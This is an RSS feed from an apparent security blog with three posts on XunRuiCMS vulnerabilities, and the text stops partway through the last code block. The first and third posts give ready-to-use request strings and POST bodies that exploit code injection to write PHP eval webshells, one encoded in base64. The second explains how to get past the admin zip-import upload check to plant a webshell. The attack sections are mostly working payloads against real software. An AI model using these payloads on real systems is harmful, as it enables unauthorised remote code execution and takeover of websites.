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index.xml
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<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Weltolk</title>
<link>https://weltolk.github.io/</link>
<description>Recent content on Weltolk</description>
<generator>Hugo -- gohugo.io</generator>
<language>en</language>
<lastBuildDate>Tue, 31 May 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://weltolk.github.io/index.xml" rel="self" type="application/rss+xml" /><item>
<title>迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞</title>
<link>https://weltolk.github.io/p/%E8%BF%85%E7%9D%BFcms-v4.5.0%E5%88%B0v4.5.1%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</link>
<pubDate>Tue, 31 May 2022 00:00:00 +0000</pubDate>
<guid>https://weltolk.github.io/p/%E8%BF%85%E7%9D%BFcms-v4.5.0%E5%88%B0v4.5.1%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</guid>
<description><img src="https://weltolk.github.io/p/%E8%BF%85%E7%9D%BFcms-v4.5.0%E5%88%B0v4.5.1%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/expliot-db.png" alt="Featured image of post 迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞" /><h2 id="触发条件">触发条件
</h2><p>一个条件:</p>
<p>1.迅睿CMS 版本为v4.5.0到v4.5.1</p>
<h2 id="漏洞分析">漏洞分析
</h2><p><a class="link" href="https://xz.aliyun.com/t/10002" target="_blank" rel="noopener"
>https://xz.aliyun.com/t/10002</a></p>
<p><a class="link" href="http://w4nder.top/index.php/2021/09/18/xunruicms-rce/" target="_blank" rel="noopener"
>http://w4nder.top/index.php/2021/09/18/xunruicms-rce/</a></p>
<p>Internet Archive&rsquo;s Wayback Machine:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">https://web.archive.org/web/*/https://xz.aliyun.com/t/10002
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">https://web.archive.org/web/*/http://w4nder.top/index.php/2021/09/18/xunruicms-rce/
</span></span></code></pre></td></tr></table>
</div>
</div><p>google快照:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">https://webcache.googleusercontent.com/search?q=cache:6jYLBLzNYZIJ:https://xz.aliyun.com/t/10002+&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;lr=lang_en|lang_ru|lang_ko|lang_zh-CN|lang_zh-TW|lang_ja
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">http://webcache.googleusercontent.com/search?q=cache:7JueN0ys3V0J:w4nder.top/index.php/2021/09/18/xunruicms-rce/+&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;lr=lang_en|lang_ru|lang_ko|lang_zh-CN|lang_zh-TW|lang_ja
</span></span></code></pre></td></tr></table>
</div>
</div><p>bing快照:</p>
<p>只有xz的,没有w4nder的</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">http://cncc.bingj.com/cache.aspx?q=https%3a%2f%2fxz.aliyun.com%2ft%2f10002&amp;d=4793325569704282&amp;mkt=zh-CN&amp;setlang=en-US&amp;w=eZ59zs2SxfyDwKSkJpRp0MonVvsThxnm
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="一个利用方式">一个利用方式
</h2><p>写webshell文件:</p>
<p>写入的文件默认是在网站根目录下</p>
<p>经过测试,如果写入的内容包含<code>&lt;?</code>,会被url转义,但是先写<code>&lt;</code>再写<code>?</code>就不会被转义</p>
<p>写入php标记为<code>&lt;?='';?&gt;</code>的php文件:</p>
<p>1.先写<code>&lt;</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">/index.php?s=api&amp;c=api&amp;m=template&amp;app=admin&amp;name=api_related.html&amp;phpcmf_dir=admin&amp;mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=&lt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>2.写剩余的语句:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">/index.php?s=api&amp;c=api&amp;m=template&amp;app=admin&amp;name=api_related.html&amp;phpcmf_dir=admin&amp;mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?=&#39;&#39;;file_put_contents(&#39;webshell.php&#39;,base64_decode(&#39;PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg==&#39;));%20param2=FILE_APPEND
</span></span></code></pre></td></tr></table>
</div>
</div><p>写入php标记为<code>&lt;?php ?&gt;</code>的php文件</p>
<p>1.先写<code>&lt;</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">/index.php?s=api&amp;c=api&amp;m=template&amp;app=admin&amp;name=api_related.html&amp;phpcmf_dir=admin&amp;mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=&lt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>2.写剩余的语句:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">/index.php?s=api&amp;c=api&amp;m=template&amp;app=admin&amp;name=api_related.html&amp;phpcmf_dir=admin&amp;mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?php%0dfile_put_contents(&#39;webshell.php&#39;,base64_decode(&#39;PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg==&#39;));%20param2=FILE_APPEND
</span></span></code></pre></td></tr></table>
</div>
</div><p>写完之后,访问webshell2.php,会在同目录下生成webshell.php文件,webshell.php即为webshell</p>
<h2 id="执行无参函数">执行无参函数
</h2><p>如果想执行无参函数,例如<code>phpinfo();</code>,将url中的<code>param0</code>参数设为<code>-1</code>即可:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">/index.php?s=api&amp;c=api&amp;m=template&amp;app=admin&amp;name=api_related.html&amp;phpcmf_dir=admin&amp;mid=%20action=function%20name=phpinfo%20param0=-1
</span></span></code></pre></td></tr></table>
</div>
</div></description>
</item>
<item>
<title>迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞</title>
<link>https://weltolk.github.io/p/%E8%BF%85%E7%9D%BFcms-v4.5.4%E5%88%B0v4.5.6%E7%9B%AE%E5%89%8D%E6%9C%80%E6%96%B0%E7%89%88%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</link>
<pubDate>Mon, 02 May 2022 00:00:00 +0000</pubDate>
<guid>https://weltolk.github.io/p/%E8%BF%85%E7%9D%BFcms-v4.5.4%E5%88%B0v4.5.6%E7%9B%AE%E5%89%8D%E6%9C%80%E6%96%B0%E7%89%88%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</guid>
<description><img src="https://weltolk.github.io/p/%E8%BF%85%E7%9D%BFcms-v4.5.4%E5%88%B0v4.5.6%E7%9B%AE%E5%89%8D%E6%9C%80%E6%96%B0%E7%89%88%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/expliot-db.png" alt="Featured image of post 迅睿CMS v4.5.4到v4.5.6(目前最新版)文件上传漏洞" /><h2 id="来源">来源
</h2><p><a class="link" href="https://www.0daying.com/post-71.html" target="_blank" rel="noopener"
>https://www.0daying.com/post-71.html</a></p>
<h2 id="触发条件">触发条件
</h2><p>两个条件:</p>
<p>1.迅睿CMS 版本为v4.5.4到v4.5.6(目前最新版)</p>
<p>2.登录后台,且为管理员或具有&quot;应用&quot;-&gt;&ldquo;联动菜单&quot;的管理权限</p>
<h2 id="漏洞描述">漏洞描述
</h2><p>后台&quot;应用&rdquo;-&gt;&ldquo;联动菜单&rdquo;-&gt;&ldquo;导入&quot;处可上传zip文件,且该处没有对用户上传的zip压缩文件做相应的过滤,导致用户可以上传任意文件</p>
<h2 id="漏洞利用">漏洞利用
</h2><h3 id="版本v454">版本v4.5.4
</h3><p>将要上传的文件压缩为zip格式,然后登陆后台,在具备相关权限的情况下,在&quot;应用&rdquo;-&gt;&ldquo;联动菜单&rdquo;-&gt;&ldquo;导入&quot;处直接上传该zip文件,同时上传时必须要抓包,响应包中会返回上传的文件的物理路径</p>
<p>响应包中返回的物理路径通常为<code>*/cache/temp/*.zip</code>,而通过该漏洞上传的zip文件在上传成功后会自动解压,自动解压的过程中会自动在zip文件的同目录下创建一个名为压缩包去掉后缀名的文件名的目录,再将压缩包内的文件解压到此目录,因此,通常情况下如果上传一个名为webshell.zip,且压缩包内有一个名为webshell.php的文件的压缩包,那么,通过该漏洞上传zip文件之后,压缩包内的webshell.php文件的物理路径为<code>*/cache/temp/webshell/webshell.php</code>,通过url访问为http://domain:post/cache/temp/webshell/webshell.php</p>
<h3 id="版本v455和版本v456目前最新版">版本v4.5.5和版本v4.5.6(目前最新版)
</h3><p>相比版本v4.5.4,这两个版本增加了对压缩包内文件的检测,但是此处我们先不尝试绕过相应的检测,而是尝试另一个更为简单的方法</p>
<p>这两个版本未对压缩包内的文件夹进行递归检测,因此只要把恶意文件放在文件夹内再压缩然后上传即可</p>
<p>相比版本v4.5.4,在上传该zip压缩文件时依旧可以通过抓包获取文件的物理路径,同时因为增加了一层文件夹,相应的解压之后的压缩包内的文件的物理路径变为<code>*/cache/temp/linkage/webshell/webshell/webshell.php</code>,url变为http://domain:post/cache/temp/linkage/webshell/webshell/webshell.php</p>
<h2 id="poc--exp">POC &amp;&amp; EXP
</h2><p>很简单,我就不写了,不过注意目标站点的cms可能有坑,比如版本号低但实际的站点文件已经更新过了</p>
<h3 id="poc">POC
</h3><p>登录后台,获取版本号,然后验证一下是否为管理员或具有&quot;应用&rdquo;-&gt;&ldquo;联动菜单&quot;的管理权限即可</p>
<h3 id="exp">EXP
</h3><p>登录后台,然后在&quot;应用&rdquo;-&gt;&ldquo;联动菜单&rdquo;-&gt;&ldquo;导入&quot;处上传zip文件</p>
</description>
</item>
<item>
<title>XunRuiCMS v4.3.3 to v4.5.1 backstage code injection vulnerability(file write and file inclusion)</title>
<link>https://weltolk.github.io/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/</link>
<pubDate>Tue, 26 Apr 2022 00:00:00 +0000</pubDate>
<guid>https://weltolk.github.io/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/</guid>
<description><img src="https://weltolk.github.io/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.png" alt="Featured image of post XunRuiCMS v4.3.3 to v4.5.1 backstage code injection vulnerability(file write and file inclusion)" /><h2 id="prerequisite">prerequisite
</h2><p>two conditions:</p>
<p>1.XunRuiCMS version is v4.3.3 to v4.5.1</p>
<p>2.You can log in to the background,And it is an administrator account or have the management permission of &ldquo;应用&rdquo;-&gt;&ldquo;任务队列&rdquo;</p>
<h2 id="environment-setup">environment setup
</h2><ol>
<li>
<p>install and configure php and web middleware, note that the low version of the cms requires a low version of php</p>
</li>
<li>
<p>clone the official open source address of the cms <a class="link" href="https://gitee.com/dayrui/xunruicms" target="_blank" rel="noopener"
>https://gitee.com/dayrui/xunruicms</a></p>
</li>
<li>
<p>search for the version number in the commit message to fall back to the specified version</p>
</li>
</ol>
<p>In PhpStorm, right-click the specified commit version and select &ldquo;Reset Current Branch to Here&rdquo;.</p>
<p>Select &ldquo;Hard&rdquo; and click &ldquo;Reset&rdquo;.</p>
<ol start="4">
<li>Access, install, and login to the backend</li>
</ol>
<p>Backend address:<code>/admin.php</code></p>
<p>Translated with <a class="link" href="https://www.DeepL.com/Translator" target="_blank" rel="noopener"
>www.DeepL.com/Translator</a> (free version)</p>
<h2 id="vulnerability-description">vulnerability description
</h2><p>Admin controller folder, Cron.php controller, add() function, there is no special filtering for user input, this will cause the attacker to execute the attack when he has administrator privileges or administrative privileges of &ldquo;应用&rdquo;-&gt;&ldquo;任务队列&rdquo;, write anything to the <code>WRITEPATH.'config/cron.php'</code>, at the same time, the file has multiple points that can be executed and utilized, under normal circumstances, the above trigger conditions can stably trigger the vulnerability</p>
<h2 id="vulnerability-principle">vulnerability principle
</h2><h3 id="before-version-v433">before version v4.3.3
</h3><p>before version v4.3.3, there is no &ldquo;add()&rdquo; function under &ldquo;cron.php&rdquo;</p>
<h3 id="under-versions-v433-to-v450">Under versions v4.3.3 to v4.5.0
</h3><p>1.The CMS, with the above permissions, Can be accessed through <code>http://host:port/Admin.php?c=Cron&amp;m=add</code> call the add() function of the Cron.php controller under the Admin controller folder</p>
<p>2.code of add() function:</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 任务类型
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">public</span> <span class="k">function</span> <span class="nf">add</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">is_file</span><span class="p">(</span><span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">require</span> <span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$data</span> <span class="o">=</span> <span class="nx">json_decode</span><span class="p">(</span><span class="nv">$json</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">IS_AJAX_POST</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$post</span> <span class="o">=</span> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">file_put_contents</span><span class="p">(</span><span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;&lt;?php defined(\&#39;FCPATH\&#39;) OR exit(\&#39;No direct script access allowed\&#39;);&#39;</span><span class="o">.</span><span class="nx">PHP_EOL</span><span class="o">.</span><span class="s1">&#39; $json=\&#39;&#39;</span><span class="o">.</span><span class="nx">json_encode</span><span class="p">(</span><span class="nv">$post</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;\&#39;;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">system_log</span><span class="p">(</span><span class="s1">&#39;设置自定义任务类型&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_json</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nx">dr_lang</span><span class="p">(</span><span class="s1">&#39;操作成功&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">V</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">assign</span><span class="p">([</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;data&#39;</span> <span class="o">=&gt;</span> <span class="nv">$data</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">V</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">display</span><span class="p">(</span><span class="s1">&#39;cron_add.html&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h4 id="analysis-of-add-function">analysis of add() function
</h4><div class="highlight"><div class="chroma">
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">is_file</span><span class="p">(</span><span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">require</span> <span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The add() function will first include the <code>WRITEPATH.'config/cron.php'</code> file when it exists, <code>WRITEPATH</code> can be configured in index.php under the root directory of the website, By default, it is <code>cache/</code> under the root directory of the website</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$json</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$data</span> <span class="o">=</span> <span class="nx">json_decode</span><span class="p">(</span><span class="nv">$json</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Then the add() function assigns <code>Null</code> to <code>$data</code> through the <code>json_decode($json, true)</code> function</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">IS_AJAX_POST</span><span class="p">){}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Then enter an if branch statement, When <code>IS_AJAX_POST</code>, then execute the relevant code written to the file, otherwise, skip writing to the file, show cron&rsquo;s add page, the add() function ends, <code>IS_AJAX_POST</code> is defined as returning <code>TRUE</code> when a post request is received and the content of post is not empty, otherwise, return to <code>FALSE</code></p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$post</span> <span class="o">=</span> <span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>In if statement, first <code>\Phpcmf\Service::L('input')-&gt;post('data', true)</code> The code calls the post() function of class Input defined in the Input.php file, When a post request is received and the key is <code>data</code>, perform &ldquo;XSS cleaning&rdquo; and return, otherwise, return to <code>false</code> directly, then assign it to <code>$post</code>, the code of &ldquo;XSS cleaning&rdquo; is relatively long, I put it at the end of this article, the &ldquo;XSS cleaning&rdquo; here can be easily bypassed, so as to write whatever we want</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">file_put_contents</span><span class="p">(</span><span class="nx">WRITEPATH</span><span class="o">.</span><span class="s1">&#39;config/cron.php&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;&lt;?php defined(\&#39;FCPATH\&#39;) OR exit(\&#39;No direct script access allowed\&#39;);&#39;</span><span class="o">.</span><span class="nx">PHP_EOL</span><span class="o">.</span><span class="s1">&#39; $json=\&#39;&#39;</span><span class="o">.</span><span class="nx">json_encode</span><span class="p">(</span><span class="nv">$post</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;\&#39;;&#39;</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>In if statement, post request received, then, the received content is encoded by JSON and written into <code>WRITEPATH.'config/cron.php'</code> file, the controllable write point is located in the assignment of string <code>$json</code>, and in the package of two <code>'</code>&rsquo;s, here is the main reason for the vulnerability, write the corresponding file without making sufficient judgment or cleaning on the user&rsquo;s input</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">\Phpcmf\Service</span><span class="o">::</span><span class="na">L</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">system_log</span><span class="p">(</span><span class="s1">&#39;设置自定义任务类型&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_json</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nx">dr_lang</span><span class="p">(</span><span class="s1">&#39;操作成功&#39;</span><span class="p">));</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>End of if statement, write log and display operation results, the cron add interface is displayed, and the add() function ends</p>
<h4 id="bypass-json-encoding-and-xss-cleaning-and-package--in-writepathconfigcronphp-file">Bypass JSON encoding and &ldquo;XSS cleaning&rdquo; and package <code>'</code> in <code>WRITEPATH.'config/cron.php'</code> file
</h4><p>Through the above analysis, we can find that, the add() function basically has no special precautions against user input, as long as we bypass the &ldquo;XSS cleaning&rdquo; and JSON encoding and the package <code>'</code> in the <code>WRITEPATH.'config/cron.php'</code> file, we can write whatever we want</p>
<p>The following is one of my methods. In the <code>WRITEPATH.'config/cron.php'</code> file, write the PHP statement of a file named webshell.php with the content of <code>&lt;?php eval(@$_POST[&quot;password&quot;]);?&gt;</code> in the root directory of the website when running the <code>WRITEPATH.'config/cron.php'</code> file</p>
<p>Note that the following operations need to obtain csrf_test_name first and obtain the method:</p>
<p>1.Visit <code>http://host:port/Admin.php?c=Cron&amp;m=add</code></p>
<p>2.Capture the post package sent when clicking &ldquo;save&rdquo;</p>
<p>3.csrf_test_name in the content of post can be used as csrf_test_name for a period of time</p>
<p>After obtaining csrf_test_name&quot;, give <code>http://host:port/Admin.php?c=Cron&amp;m=add</code> post the following:</p>
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<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">isform=1&amp;csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&amp;data%5B1%5D%5Bname%5D=&amp;data%5B1%5D%5Bcode%5D=%5B&#39;;file_put_contents(&#39;webshell.php&#39;,htmlspecialchars_decode(&#39;&lt;&#39;).&#39;?php%20eval&#39;.base64_decode(&#39;KA==&#39;).&#39;@$_POST%5B&#39;.base64_decode(&#39;Ig==&#39;).&#39;password&#39;.base64_decode(&#39;Ig==&#39;).&#39;%5D&#39;.base64_decode(&#39;KQ==&#39;).&#39;;?&#39;.htmlspecialchars_decode(&#39;&gt;&#39;));return;&#39;%5D
</span></span></code></pre></td></tr></table>
</div>
</div><p>After URL decoding, it is:</p>
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<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">isform=1&amp;csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&amp;data[1][name]=&amp;data[1][code]=[&#39;;file_put_contents(&#39;webshell.php&#39;,htmlspecialchars_decode(&#39;&amp;lt;&#39;).&#39;?php eval&#39;.base64_decode(&#39;KA==&#39;).&#39;@$_POST[&#39;.base64_decode(&#39;Ig==&#39;).&#39;password&#39;.base64_decode(&#39;Ig==&#39;).&#39;]&#39;.base64_decode(&#39;KQ==&#39;).&#39;;?&#39;.htmlspecialchars_decode(&#39;&amp;gt;&#39;));return;&#39;]
</span></span></code></pre></td></tr></table>
</div>
</div><p>After bypassing JSON encoding and &ldquo;XSS cleaning&rdquo;, the contents written in <code>WRITEPATH.'config/cron.php'</code> file are:</p>
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</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="nx">defined</span><span class="p">(</span><span class="s1">&#39;FCPATH&#39;</span><span class="p">)</span> <span class="k">OR</span> <span class="k">exit</span><span class="p">(</span><span class="s1">&#39;No direct script access allowed&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span><span class="o">=</span><span class="s1">&#39;{&#34;1&#34;:{&#34;name&#34;:&#34;&#34;,&#34;code&#34;:&#34;[&#39;</span><span class="p">;</span><span class="nx">file_put_contents</span><span class="p">(</span><span class="s1">&#39;webshell.php&#39;</span><span class="p">,</span><span class="nx">htmlspecialchars_decode</span><span class="p">(</span><span class="s1">&#39;&amp;lt;&#39;</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;?php eval&#39;</span><span class="o">.</span><span class="nx">base64_decode</span><span class="p">(</span><span class="s1">&#39;KA==&#39;</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;@$_POST[&#39;</span><span class="o">.</span><span class="nx">base64_decode</span><span class="p">(</span><span class="s1">&#39;Ig==&#39;</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;password&#39;</span><span class="o">.</span><span class="nx">base64_decode</span><span class="p">(</span><span class="s1">&#39;Ig==&#39;</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;]&#39;</span><span class="o">.</span><span class="nx">base64_decode</span><span class="p">(</span><span class="s1">&#39;KQ==&#39;</span><span class="p">)</span><span class="o">.</span><span class="s1">&#39;;?&#39;</span><span class="o">.</span><span class="nx">htmlspecialchars_decode</span><span class="p">(</span><span class="s1">&#39;&gt;&#39;</span><span class="p">));</span><span class="k">return</span><span class="p">;</span><span class="s1">&#39;]&#34;}}&#39;</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The key points in this post content are</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[&#39;;file_put_contents(&#39;webshell.php&#39;,htmlspecialchars_decode(&#39;&amp;lt;&#39;).&#39;?php eval&#39;.base64_decode(&#39;KA==&#39;).&#39;@$_POST[&#39;.base64_decode(&#39;Ig==&#39;).&#39;password&#39;.base64_decode(&#39;Ig==&#39;).&#39;]&#39;.base64_decode(&#39;KQ==&#39;).&#39;;?&#39;.htmlspecialchars_decode(&#39;&amp;gt;&#39;));return;&#39;]
</span></span></code></pre></td></tr></table>
</div>
</div><p>After bypassing JSON encoding and &ldquo;XSS cleaning&rdquo;, the content here becomes:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
